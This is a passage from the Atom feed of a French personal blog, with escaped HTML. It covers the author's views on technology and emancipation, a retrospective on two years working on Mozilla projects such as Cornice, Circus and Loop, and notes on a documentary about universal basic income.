sur le web, mais cette richesse vient aussi avec un certain coût, que nous
avons actuellement du mal, en tant qu'utilisateurs, à contrôler et à mesurer.
Les gens sont beaucoup beaucoup trop connectés.&lt;/p&gt;
&lt;p&gt;Je le suis par exemple bien plus souvent que ce que je voudrais l'admettre, que
ce soit pour regarder un film, lire mes emails, communiquer avec des amis,
faire de l'associatif, écrire du code, des billets sur ces carnets…&lt;/p&gt;
&lt;p&gt;Cette technologie, omniprésente dans nos vies, je ne sais pas si c'est un
futur que je souhaite partager.&lt;/p&gt;
&lt;p&gt;Pour prendre un autre exemple, les bienfaits de la technologie ne viennent pas
seuls. Les réseaux sociaux, qui constituent une bonne part de l'utilisation du
Web, relèvent du culte de la personnalité, de l'individualisme, et ce n'est pas
ce développement que je souhaite pour notre société.&lt;/p&gt;
&lt;p&gt;L'idée de base du Web, le fait de faire une toile de connaissances ouverte et
partagée entre tous est en train, petit à petit, de glisser vers l'idée d'un
outil de relai de l'information, où tout va vite, où l'on ne prends guère
plus le temps de lire autre chose que les titres des quotidiens, ou des
&amp;quot;tweets&amp;quot; de cent vingt caractères…&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="des-outils-utiles"&gt;
&lt;h2&gt;Des outils utiles&lt;/h2&gt;
&lt;p&gt;Bon an, mal an, je pense quand même que la technologie puisse être un vecteur
d'émancipation. Plus spécifiquement, je crois qu'il ne faut pas laisser
l'utilisation de la technologie aux &amp;quot;gros&amp;quot;, aux entreprises, aux états ou
&amp;quot;spécialistes&amp;quot;.&lt;/p&gt;
&lt;p&gt;Il est important de ne pas laisser ceux que l'on combat s'emparer des &amp;quot;outils
du pouvoir&amp;quot;. La science, la technologie ou les médias sont autant de champs
qu'il est important de défendre, de conserver, de s'approprier.&lt;/p&gt;
&lt;p&gt;Un des objectifs que je me fixe, pour les années à venir, ce que j'ai envie de
créer, c'est à la fois des outils utiles pour les organisations, mais aussi
éduquer à ces outils.&lt;/p&gt;
&lt;p&gt;Parce que l'éducation populaire ne s'arrête pas aux frontières du numérique,
parce qu'il est important de se battre avec les mêmes outils que ce monde que
l'on cherche parfois à combattre.&lt;/p&gt;
&lt;p&gt;Les outils sur lesquels j'ai envie d'être amené à travailler sont des outils
qui favorisent et questionnent la collaboration.&lt;/p&gt;
&lt;p&gt;Des outils comme etherpad par exemple, révolutionnent la manière de prendre des
notes en commun, et il reste énormément à faire sur le web à ce propos.&lt;/p&gt;
&lt;p&gt;Nombre d'associations me demandent de plus en plus souvent ce qu'il en est de
Daybed, et de quand est-ce qu'on va pouvoir utiliser un système de génération
de formulaires en ligne, qui ne soit pas centré sur les services de google…&lt;/p&gt;
&lt;p&gt;Allez, au boulot !&lt;/p&gt;
&lt;p&gt;PS: je me rends compte après relecture que ce billet fait echo à un billet que
j'ai écris juste alors que je terminais mes études, &lt;a class="reference external" href="https://blog.notmyidea.org/travailler-moins-pour-mieux-travailler-fr.html"&gt;sur le sens du travail et
de l'informatique&lt;/a&gt;, ça fait du bien :)&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Retours sur deux ans à Mozilla</title><link href="https://blog.notmyidea.org/retours-sur-deux-ans-a-mozilla.html" rel="alternate"></link><published>2014-07-29T00:00:00+02:00</published><updated>2014-07-29T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2014-07-29:/retours-sur-deux-ans-a-mozilla.html</id><summary type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Ça fait un bail que j'ai cet article en cours de rédaction, et je me dis que
je dois le poster maintenant, sinon je ne le ferais jamais (saloperie de
perfectionnisme ?)&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Il y à deux ans et demi, en décembre, je commençais à travailler chez
Mozilla, dans l'équipe &amp;quot;Cloud …&lt;/p&gt;</summary><content type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Ça fait un bail que j'ai cet article en cours de rédaction, et je me dis que
je dois le poster maintenant, sinon je ne le ferais jamais (saloperie de
perfectionnisme ?)&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Il y à deux ans et demi, en décembre, je commençais à travailler chez
Mozilla, dans l'équipe &amp;quot;Cloud Services&amp;quot;.&lt;/p&gt;
&lt;p&gt;Depuis, énormément de choses ont évoluées, tant en ce qui concerne les
objectifs de Mozilla (avec l'arrivée de FirefoxOS) que le travail que
j'effectue au jour le jour. Pour autant, mes objectifs personnels restent
intacts.&lt;/p&gt;
&lt;p&gt;Deux ans ça parait énorme, c'est le temps le plus long que j'ai passé
à travailler sur un projet, avec quasiment les mêmes personnes. Si vous suivez
un peu ces carnets, vous savez surement que j'ai beaucoup travaillé avec &lt;a class="reference external" href="ziade.org"&gt;Tarek&lt;/a&gt; par exemple.&lt;/p&gt;
&lt;p&gt;Ça a été (et c'est toujours) un réel plaisir de bosser avec la personne dont
j'avais lu les livres pour apprendre le python, merci !&lt;/p&gt;
&lt;div class="section" id="services"&gt;
&lt;h2&gt;Services&lt;/h2&gt;
&lt;p&gt;Le principal de mon travail a été de construire des outils. Je suis le
mainteneur de &lt;a class="reference external" href="https://github.com/mozilla-services/cornice"&gt;Cornice&lt;/a&gt;, un
utilitaire qui vient se greffer par dessus &lt;a class="reference external" href="http://docs.pylonsproject.org/projects/pyramid/en/latest/"&gt;le framework python pyramid&lt;/a&gt; pour
vous simplifier la vie et créer des services web; J'ai travaillé un peu
sur un outil de gestion des processus nommé &lt;a class="reference external" href="https://github.com/mozilla-services/circus"&gt;Circus&lt;/a&gt;, et également sur un outil de
montée en charge dénommé &lt;a class="reference external" href="https://github.com/mozilla-services/loads"&gt;Loads&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Au tout début, j'ai travaillé sur un concept de &lt;a class="reference external" href="https://github.com/mozilla-services/tokenserver"&gt;serveur de
tokens&lt;/a&gt;. L'idée était de
désolidariser l'authentification des services web des services eux mêmes.&lt;/p&gt;
&lt;p&gt;L'idée est (je pense) bonne mais le service n'a pas été utilisé durant plus de
deux ans. La raison étant principalement que Sync, pour lequel le serveur de
tokens a été écrit, a subi des changements majeurs (qui sont rentrés en
production il y a quelques semaines)&lt;/p&gt;
&lt;p&gt;Circus est né de besoins découverts via le token server, et il m'a
personnellement beaucoup appris. Le token server est finalement utilisé dans la
nouvelle version de Sync qui est rentrée en production il y a peu.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="marketplace-chouette-on-va-casser-du-serveur"&gt;
&lt;h2&gt;Marketplace (&amp;quot;chouette, on va casser du serveur&amp;quot;)&lt;/h2&gt;
&lt;p&gt;Après 6 mois à travailler à Services, Tarek et moi avons commencé à rejoindre
l'équipe du Marketplace pour faire un travail d'&amp;quot;audit de performance&amp;quot;.&lt;/p&gt;
&lt;p&gt;L'idée était de prêter main forte à l'équipe du marketplace, mais les détails
étaient alors assez flous. Le code est assez indigeste au premier abord, ce qui
m'avait alors pas mal refroidi. La raison principale étant que le code est
utilisé à la fois par &lt;cite&gt;addons.mozilla.org&lt;/cite&gt; et par &lt;cite&gt;marketplace.firefox.com&lt;/cite&gt;,
rendant les choses souvent un peu plus compliquées qu'il ne faudrait.&lt;/p&gt;
&lt;p&gt;Cet &amp;quot;audit&amp;quot; a été l'occasion de travailler sur des outils de montée en charge
assez sympa, qui ont donné naissance à un projet qu'on utilise assez souvent
maintenant, &lt;a class="reference external" href="https://github.com/mozilla-services/loads"&gt;Loads&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Énormément d'efforts sont fait pour aller dans la bonne direction et faire en
sorte que le code soit plus facile à maintenir et que le projet soit plus
facile à aborder. D'ailleurs, pas mal de copains djangonautes français
travaillent dessus (salut &lt;a class="reference external" href="http://virgule.net"&gt;Mathieu&lt;/a&gt;, Yohan, &lt;a class="reference external" href="http://larlet.fr"&gt;David&lt;/a&gt; et &lt;a class="reference external" href="http://mathieu.agopian.info"&gt;Mathieu Agopian&lt;/a&gt;!)&lt;/p&gt;
&lt;p&gt;Une partie de notre plan a été de sortir certaines fonctionnalités du code
actuel, pour en faire quelque chose de plus facile à maintenir et de moins
imbriqué.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="la-communaute"&gt;
&lt;h2&gt;La Communauté&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://github.com/mozilla-services/circus"&gt;Circus&lt;/a&gt; et &lt;a class="reference external" href="https://github.com/mozilla-services/cornice"&gt;Cornice&lt;/a&gt; sont
deux outils qui semblent utiles à la communauté. J'ai eu des retours très
positifs sur Cornice, et j'essaye de le faire évoluer dans la direction qui me
semble propice.&lt;/p&gt;
&lt;p&gt;D'ailleurs, Cornice est utilisé (par &lt;a class="reference external" href="http://blog.mathieu-leplatre.info/pages/about.html"&gt;Mathieu L.&lt;/a&gt;
— encore un —, &lt;a class="reference external" href="http://twitter.com/natim"&gt;Rémy&lt;/a&gt; et moi) actuellement pour coder
&lt;a class="reference external" href="https://github.com/spiral-project/daybed"&gt;Daybed&lt;/a&gt; un service de validation
de formulaires, mais ça sera l'objet d'un futur billet.&lt;/p&gt;
&lt;p&gt;Circus commence à recevoir des contributions de plus en plus intéressantes, et
à être utilisé en interne chez nous et chez d'autres, donc c'est une
extrêmement bonne nouvelle.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="talkilla-loop"&gt;
&lt;h2&gt;Talkilla / Loop&lt;/h2&gt;
&lt;p&gt;Après quelques temps, j'avais envie d'apprendre de nouveau. Python c'est génial
mais c'était devenu ma &amp;quot;zone de confort&amp;quot;. J'adore découvrir des choses, donc
c'était le moment de faire en sorte que ça continue!&lt;/p&gt;
&lt;p&gt;C'était aussi l'occasion de travailler avec &lt;a class="reference external" href="https://nicolas.perriault.net/"&gt;Nicolas&lt;/a&gt; et &lt;a class="reference external" href="http://monkeypatch.me/blog/"&gt;Romain&lt;/a&gt;.
Je suivais le projet Talkilla de plus ou moins loin depuis quelques mois,
c'était donc l'occasion à ne pas manquer.&lt;/p&gt;
&lt;p&gt;En rentrant dans cette équipe, je cherchais principalement à avoir un projet
visible pour les utilisateurs finaux. Refaire un peu de frontend, apprendre
à faire du JavaScript propre et découvrir de nouvelles personnes.&lt;/p&gt;
&lt;p&gt;J'y ai aussi récupéré une équipe qui essaye de suivre les principes de
l'agilité et qui est sur mon fuseau horaire (pour la plupart). Le rêve.&lt;/p&gt;
&lt;p&gt;L'idée derrière Talkilla est d'utiliser la technologie de communication pair
à pair dans les navigateurs (WebRTC) pour faire des appels audio / vidéo. En
d'autres termes, c'est un peu transformer votre firefox en téléphone, sauf que
personne ne peut espionner ce qui se passe entre vous et l'autre bout du fil.&lt;/p&gt;
&lt;p&gt;A peine arrivé dans le projet (peut-être un mois et quelques après mon
débarquement) le choix a été fait de tout réécrire depuis zéro, dans un projet
qui se nomme actuellement &amp;quot;Loop&amp;quot;, qui veut proposer la même chose, mais inclus
directement dans Firefox.&lt;/p&gt;
&lt;p&gt;C'est en bonne voie, on a quelque chose qui fonctionne dans nightly, et le code
du serveur fonctionne pas mal. Le code du serveur est ici:
&lt;a class="reference external" href="https://github.com/mozilla-services/loop-server"&gt;https://github.com/mozilla-services/loop-server&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Un client est en train d'être implémenté dans Firefox et un autre en tant
qu'application pour FirefoxOS. Le boulot ne s'arrête pas de pleuvoir, mais je
pense qu'on va dans une direction intéressante.&lt;/p&gt;
&lt;p&gt;Pour être complètement terminé, il faudrait qu'on soit capable de se passer
complètement de notre provider, TokBox (que l'on utilise en tant que relai
média), pour que n'importe qui puisse choisir d'utiliser son propre serveur
STUN / TURN et installe son serveur loop chez lui.&lt;/p&gt;
&lt;div class="section" id="le-travail-a-distance"&gt;
&lt;h3&gt;Le travail à distance&lt;/h3&gt;
&lt;p&gt;Quand j'ai commencé à travailler à Mozilla, j'ai décidé de venir m'installer
à Paris. La plupart des personnes de mon entourage ont d'ailleurs fait des gros
yeux, parce qu'ils connaissaient mon avis sur la ville en question, mais casser
des préjugés n'est jamais une mauvaise chose.&lt;/p&gt;
&lt;p&gt;Après deux ans passés à Paris, j'ai décidé de partir m'installer à Rennes,
puisque de toute manière, la plupart de mon travail s'effectue au jour le jour
à distance. En d'autres termes, la plupart de mon équipe n'est pas à coté de
moi quand je travaille, ce qui veut dire que je peux travailler depuis
n'importe où.&lt;/p&gt;
&lt;p&gt;Ce qui fonctionne pour moi, c'est de ne quasiment jamais travailler depuis la
maison. J'utilise &lt;a class="reference external" href="http://www.lacantine-rennes.net/"&gt;un espace de coworking&lt;/a&gt;
qui est un moyen de garder ma vie perso séparée de ma vie privée et de
rencontrer des gens passionnés par ce qu'ils font.&lt;/p&gt;
&lt;p&gt;Depuis que je suis arrivé à Rennes, Rémy a commencé à travailler avec moi, et
c'est un réel bonheur que de pouvoir partager des journées de travail. On
&amp;quot;pair-prog&amp;quot; énormément et j'ai l'impression d'avoir un boost dans ma
productivité quotidienne.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="enseignements"&gt;
&lt;h3&gt;Enseignements&lt;/h3&gt;
&lt;p&gt;Mozilla est ma première expérience professionnelle, et par conséquent, je
manque nécessairement de recul sur ce qui est acceptable et ce qui ne l'est
pas. D'une manière générale, avoir un environnement de travail basé sur la
confiance est réellement appréciable (La première réaction des gens quand je
dis que je peux travailler à distance, c'est de me demander comment ils font
pour être sur que je travaille. Et la réponse est… il n'y en a pas).&lt;/p&gt;
&lt;p&gt;J'ai encore un peu de mal à savoir quels indicateurs utiliser pour savoir si je
suis &amp;quot;productif&amp;quot; ou non, mais j'ai globalement l'impression que je manque de
concentration et de discipline: beaucoup d'interruptions n'aident pas à se
concentrer.&lt;/p&gt;
&lt;p&gt;La motivation fluctue aussi énormément: un jour on est super motivé, un autre
c'est juste impossible de la trouver. Après quelques expérimentations, le mieux
(pour moi) est d'avoir des horaires fixes, pour pouvoir séparer le travail du
reste, de ne pas hésiter à faire des pauses et d'écouter un peu ses envies et
son corps (si je suis crevé, ça ne sert à rien de se lever pour aller
travailler, il vaut mieux se reposer un peu pour être plus efficace ensuite,
par exemple).&lt;/p&gt;
&lt;p&gt;J'ai essayé de tirer quelques enseignements de ces deux années:&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="malheureusement-le-code-n-est-pas-propre"&gt;
&lt;h2&gt;Malheureusement, le code n'est pas propre&lt;/h2&gt;
&lt;p&gt;Je me rends compte que bien souvent je suis assez déçu de la qualité du code
que je regarde. Principalement parce que je ne suis pas capable de le
comprendre rapidement. Spécifiquement, ça m'est arrivé avec certaines parties
de &lt;a class="reference external" href="https://github.com/mozilla/zamboni"&gt;Zamboni&lt;/a&gt;, le code du &lt;a class="reference external" href="http://marketplace.firefox.com"&gt;Marketplace&lt;/a&gt; dont je parlais plus haut, avec certaines
parties de Talkilla ou alors le code de Firefox lui même.&lt;/p&gt;
&lt;p&gt;C'était extrêmement frustrant pour moi de découvrir que le code écrit à Mozilla
n'était pas exemplaire. Tout le code qui est ajouté à l'heure actuelle est
revu, corrigé et validé par des pairs, mais un certain nombre de projets ont un
historique assez lourd qui rends leur structure complexe.&lt;/p&gt;
&lt;p&gt;Je réalise donc que mon travail n'est pas uniquement de savoir écrire du code
propre, mais également de réussir à comprendre du code que je considère comme
&amp;quot;sale&amp;quot; (quitte à l'améliorer au passage !).&lt;/p&gt;
&lt;p&gt;Et c'est pas du gâteau; je m'attendais à réussir à comprendre des projets
complexes facilement, mais aucun miracle de ce coté là. Il faut réussir
à rester concentré pendant suffisamment longtemps pour pouvoir tirer tous les
fils et commencer à démêler… Pas facile !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="apprendre-est-un-processus-actif"&gt;
&lt;h2&gt;Apprendre est un processus actif&lt;/h2&gt;
&lt;p&gt;Il est facile de passer à coté de l'apprentissage. Être entouré de gens
talentueux ne suffit pas pour continuer à apprendre.&lt;/p&gt;
&lt;p&gt;Savoir reconnaitre un échec est nécessaire. Dire que l'on comprends pour éviter
de passer pour un idiot est un biais qui se prends assez rapidement, et qu'il
faut éviter à tout prix.&lt;/p&gt;
&lt;p&gt;Surtout au début, c'était une erreur que je faisais énormément, une question
d'égo probablement.&lt;/p&gt;
&lt;p&gt;Il y a une espèce de honte de ne pas savoir, alors que tout le monde autour
sait ou en tout cas semble savoir. Bien souvent, les gens autour ne savent pas
non plus, ce qui mène à des discussions de comptoir, sans trop savoir pourquoi.&lt;/p&gt;
&lt;p&gt;Connaître ses limites techniques est un bon début pour pouvoir les surpasser.
Chercher à les rencontrer est un processus actif.&lt;/p&gt;
&lt;p&gt;Le manque de temps m'empêche bien souvent de pouvoir prendre un livre technique
et de pouvoir l'apprécier. Je ne sais pas exactement pourquoi, peut être par
sur-dose, mais je n'ai ouvert que quelques rares livres techniques durant ces
deux années. Et j'aimerais bien que ça change !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="assez-bien-est-suffisant"&gt;
&lt;h2&gt;&amp;quot;Assez bien&amp;quot; est suffisant&lt;/h2&gt;
&lt;p&gt;La culture de l'excellence se mets parfois au milieu du chemin. On oublie
souvent que &amp;quot;le mieux est l'ennemi du bien&amp;quot;.&lt;/p&gt;
&lt;p&gt;Rien ne sert de faire des commits parfaits tout le temps. Quand j'ai besoin de
&amp;quot;hacker&amp;quot; sur un projet, je ne voulais d'abord pas tout péter, par peur de ne
plus m'y retrouver.&lt;/p&gt;
&lt;p&gt;Mon approche actuelle est bien différente: on mets les mains dans le cambouis
jusqu'à ce que ça marche, et ensuite on répare les dégâts. Enfin… dans une
certaine mesure hein !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="ecrire-des-boites-a-outils-et-non-pas-des-frameworks"&gt;
&lt;h2&gt;Écrire des boites à outils et non pas des frameworks&lt;/h2&gt;
&lt;p&gt;Écrire des frameworks force les utilisateurs à les utiliser, et à les connaitre
dans les moindres recoins. Heureusement, il existe déjà énormément de
frameworks qui pour la plupart font très bien leur travail. Ce qui nous manque
ce n'est pas plus de frameworks, mais bel et bien plus de boites à outils.&lt;/p&gt;
&lt;p&gt;Une boite à outil prends un problème bien défini et propose une solution pour
ce problème. Une boite à outils est, en mon sens, ce qu'on appelle une
bibliothèque. Pas besoin de réécrire tout votre projet pour utiliser ma
nouvelle bibliothèque afin de profiter des fonctionnalités qu'elle apporte
(alors que c'est le cas avec un framework, justement).&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="etre-le-moteur-de-son-propre-changement"&gt;
&lt;h2&gt;Être le moteur de son propre changement&lt;/h2&gt;
&lt;p&gt;Facile à dire, héhé ! D'une manière générale, je me rends compte qu'il est
facile de se plaindre sans pour autant être moteur du changement que l'on
souhaite voir arriver.&lt;/p&gt;
&lt;p&gt;Ça vaut le coup de se donner la peine de faire changer les choses, surtout
à Mozilla, parce que le changement n'est pas seulement vu d'un mauvais œil.&lt;/p&gt;
&lt;p&gt;Pour que les choses évoluent, il faut être force de proposition. Se plaindre
n'a jamais servi à rien si ce n'est pas suivi d'actes ;)&lt;/p&gt;
&lt;p&gt;Je dis de temps en temps que Mozilla est une &amp;quot;do-o-cratie&amp;quot; (celui qui fait
à raison), et je le pense de plus en plus. Quand j'ai envie que quelque chose
soit fait, et bah… il faut le faire !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="ne-pas-chercher-a-avoir-raison"&gt;
&lt;h2&gt;Ne pas chercher à avoir raison&lt;/h2&gt;
&lt;p&gt;Peu importe qui a raison, l'important n'est pas de chercher à montrer que tu
sais, mais de trouver ce qui est juste. Ça parait peut être évident, mais bien
souvent on cherche à se mettre en avant, au détriment du projet… Allez, gardons
nos égos de coté ;)&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="arreter-le-negativisme"&gt;
&lt;h2&gt;Arrêter le négativisme&lt;/h2&gt;
&lt;p&gt;Il est très facile de se laisser embarquer dans le négativisme. Il y a toujours
des choses qui ne vont pas, et probablement il y en aura toujours. Ce ne sont
pas des raisons suffisantes pour perdre le moral. Identifier les points faibles
est important est permet de savoir ce qu'il est nécessaire d'améliorer, mais
regarder les choses du coté positif (et il y en a nécessairement un !) est
indispensable !&lt;/p&gt;
&lt;p&gt;À plusieurs reprises je me suis retrouvé dans des crises de négativisme, pour
un tas de raisons différentes. La meilleure manière de s'en sortir: en causer
et trouver des solutions, prendre le problème à bras le corps, et ne pas
considérer que c'est un problème sur lequel on a aucune prise possible.&lt;/p&gt;
&lt;div class="section" id="la-suite"&gt;
&lt;h3&gt;La suite ?&lt;/h3&gt;
&lt;p&gt;Je n'ai aucune idée d'à quoi va ressembler la suite, et c'est justement ce que
j'apprécie et qui m'effraie en même temps…&lt;/p&gt;
&lt;p&gt;Je fais actuellement énormément de Javascript et je travaille sur des
projets qui semblent avoir plus de sens qu'avant (même si je vois déjà des
choses que je souhaiterais améliorer, mais chaque chose en son temps). Donc
techniquement j'apprends et dans ma quête de faire des produits qui touchent un
utilisateur.&lt;/p&gt;
&lt;p&gt;Depuis quelques semaines, je peux travailler une journée par semaine sur un
projet qui me tiens vraiment à cœur: daybed (&lt;a class="reference external" href="http://daybed.rtfd.org"&gt;http://daybed.rtfd.org&lt;/a&gt;).
L'objectif est de faire en sorte que le projet avance et soit utilisé au sein
de mozilla.&lt;/p&gt;
&lt;p&gt;Avant toute autre chose, il faudra faire des changements de &amp;quot;pitch&amp;quot; pour qu'il
soit plus simple d'expliquer ce que Daybed souhaite faire, mais… c'est une autre
histoire.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
</content></entry><entry><title>Le revenu de base</title><link href="https://blog.notmyidea.org/le-revenu-de-base.html" rel="alternate"></link><published>2013-10-03T00:00:00+02:00</published><updated>2013-10-03T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2013-10-03:/le-revenu-de-base.html</id><summary type="html">&lt;iframe width="560" height="315" src="http://www.youtube.com/embed/-cwdVDcm-Z0"
frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;p&gt;Quelques notes prises en visualisant le documentaire &amp;quot;le revenu de base&amp;quot;.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;4 Allemands sur 10 travaillent.&lt;/li&gt;
&lt;li&gt;3/10 (les enfants et jeunes)&lt;/li&gt;
&lt;li&gt;2/10 retraite / rente&lt;/li&gt;
&lt;li&gt;1/10 assurance chomage / AS&lt;/li&gt;
&lt;li&gt;41% sont le fruit d'un travail rémunéré.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le revenu de base est inconditionnel.&lt;/p&gt;
&lt;p&gt;Le marché du travail ne pourra …&lt;/p&gt;</summary><content type="html">&lt;iframe width="560" height="315" src="http://www.youtube.com/embed/-cwdVDcm-Z0"
frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;p&gt;Quelques notes prises en visualisant le documentaire &amp;quot;le revenu de base&amp;quot;.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;4 Allemands sur 10 travaillent.&lt;/li&gt;
&lt;li&gt;3/10 (les enfants et jeunes)&lt;/li&gt;
&lt;li&gt;2/10 retraite / rente&lt;/li&gt;
&lt;li&gt;1/10 assurance chomage / AS&lt;/li&gt;
&lt;li&gt;41% sont le fruit d'un travail rémunéré.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le revenu de base est inconditionnel.&lt;/p&gt;
&lt;p&gt;Le marché du travail ne pourra pas suffire à toute la population. En refusant
l'idée du RDB, on est obligé de croire en la croissance économique.&lt;/p&gt;
&lt;p&gt;Différence entre une approche qantitative du travail VS une approche sociale.&lt;/p&gt;
&lt;p&gt;La croissance éco ≠ croissance de l'emploi.&lt;/p&gt;
&lt;p&gt;Parallelle entre le RDB et la déclaration des droits de l'homme. &amp;quot;Et qui voudra
faire le sale boulot ?&amp;quot;&lt;/p&gt;
&lt;p&gt;Utopie veut dire le &amp;quot;non lieu&amp;quot;, le lieu qu'on à pas encore trouvé ici sur
terre, à part dans notre imaginaire.&lt;/p&gt;
&lt;p&gt;Agriculture: Il y à 100 ans, qqn qui travaillait dans l'agriculture produisait assez pour
3 autres personnes. ajd un agriculteur produit assez pour 120 personnes, via
des machines énormes et à la rationalisation.&lt;/p&gt;
&lt;p&gt;Rationalisation: moins d'emploi.&lt;/p&gt;
&lt;p&gt;La condition de pouvoir refuser un travail est très importante.&lt;/p&gt;
&lt;div class="section" id="citations"&gt;
&lt;h2&gt;Citations&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Le financmenet est acquis, la dificulté c'est la liberté&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;NA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Il faut en finir avec cette idée fausse, selon laquelle seul le travail
rémunéré constitue une contribution méritoire à la société, en réalité, c'est
souvent exactement l'inverse.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;Katja Kipping, membre du parlement allemand.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Si les gens on déjà une sécurité matérielle, ils sont plus difficiles
à corrompre.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;Katja Kipping&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Soutenir les populations sans poser de condition. c'est un principe qui à la
longe, devra s'imposer. Mais il lui faudra d'abord affronter les droits et
privilèges dont on bénéficie aujourd'hui.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;Anonyme.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
Si les revenus étaient uniquement lié au travail, il faudrait donner les plus
hauts revenus aux machines.&lt;/blockquote&gt;
&lt;p&gt;Le sens de l'économie, c'est de libérer l'homme du travail Beaucoup de gens qui
ont une &amp;quot;place de travail&amp;quot;, n'ont en réalité qu'une &amp;quot;place de revenu&amp;quot;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="chiffres"&gt;
&lt;h2&gt;Chiffres&lt;/h2&gt;
&lt;p&gt;Un sondage à été effectué. La question est: &amp;quot;Si vous aviez un revenu de base,
est-ce que vous iriez encore travailler ?&amp;quot;&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;~60% disent oui&lt;/li&gt;
&lt;li&gt;30% répondent oui, mais plus à plein temps.&lt;/li&gt;
&lt;li&gt;10% pour faire autre chose.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Avec une question différente:&lt;/p&gt;
&lt;p&gt;&amp;quot;Si on instaurait un revenu de base, est-ce que vous pensez que les autres
iraient travailler ?&amp;quot;&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;~80% répondent non.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C'est un changement aussi dans les modes d'éducation, on nous enseigne à être
&amp;quot;employable&amp;quot;, et non pas à apprendre quelque chose qui nous interesse. Les gens
ont peur de ne pas trouver du travail.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="ressources"&gt;
&lt;h2&gt;Ressources&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Le sens commun, Thomas Payne.&lt;/li&gt;
&lt;li&gt;Peter Ulrich&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="comment-financer-le-rdb"&gt;
&lt;h2&gt;Comment financer le RDB&lt;/h2&gt;
&lt;p&gt;Si lon se fie à son produit intérieur brut (PIB), la France est aujourdhui le
cinquième pays le plus riche du monde. En 2010, le revenu disponible (après
versement des pres- tations sociales et prélèvement des impôts directs) sy
élevait à 1 276 euros par mois et par personne, adultes et enfants confondus.
Nous disposons donc de ressources suffisantes pour garantir à chaque individu 1
276 euros si lon décidait dopérer un partage strictement égalitaire. Cest
nettement plus que le seuil de pauvreté actuel, fixé en France à 60 % du revenu
médian (1), soit 960 euros par adulte. Qui peut le plus pouvant le moins, la
France a donc sans nul doute les moyens dassurer à tous ses résidents un
revenu au moins égal au seuil de pauvreté.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="a-reculons-par-andre-gorz"&gt;
&lt;h2&gt;À Reculons, par André Gorz.&lt;/h2&gt;
&lt;p&gt;(Paru dans le monde diplomatique de Juin 1990)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Proche de Jean-Paul Sartre, cofondateur, en 1964, du Nouvel Observateur, le
philosophe André Gorz (1923-2007) sest converti progressivement à un
écosocialisme dont il est devenu lun des principaux théoriciens. En 1990, dans
nos colonnes, sous le titre « Pourquoi la société salariale a besoin de
nouveaux valets », il formulait une critique de lidéologie du travail qui
devait lamener quelques années plus tard à se prononcer en faveur dun revenu
dexistence.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Dans lensemble des pays capitalistes dEurope, on produit trois à quatre fois
plus de richesses quil y a trente-cinq ans ; cette production nexige pas
trois fois plus dheures de travail, mais une quantité de travail beaucoup plus
faible. (...)&lt;/p&gt;
&lt;p&gt;Nous sortons de la civilisation du travail, mais nous en sortons à reculons, et
nous entrons à reculons dans une civilisation du temps libéré, incapables de la
voir et de la vouloir, incapables donc de civiliser le temps libéré qui nous
échoit, et de fonder une culture du temps disponible et une culture des
activités choisies pour relayer et compléter les cultures techniciennes et
profes- sionnelles qui dominent la scène. (...)&lt;/p&gt;
&lt;p&gt;Pour près de la moitié de la population active, lidéologie du travail est
devenue une mauvaise farce ; lidentification au travail est désormais
impossible, car le système économique na pas besoin ou na pas un besoin
régulier de leur capacité de travail. La réalité que nous masque lexaltation
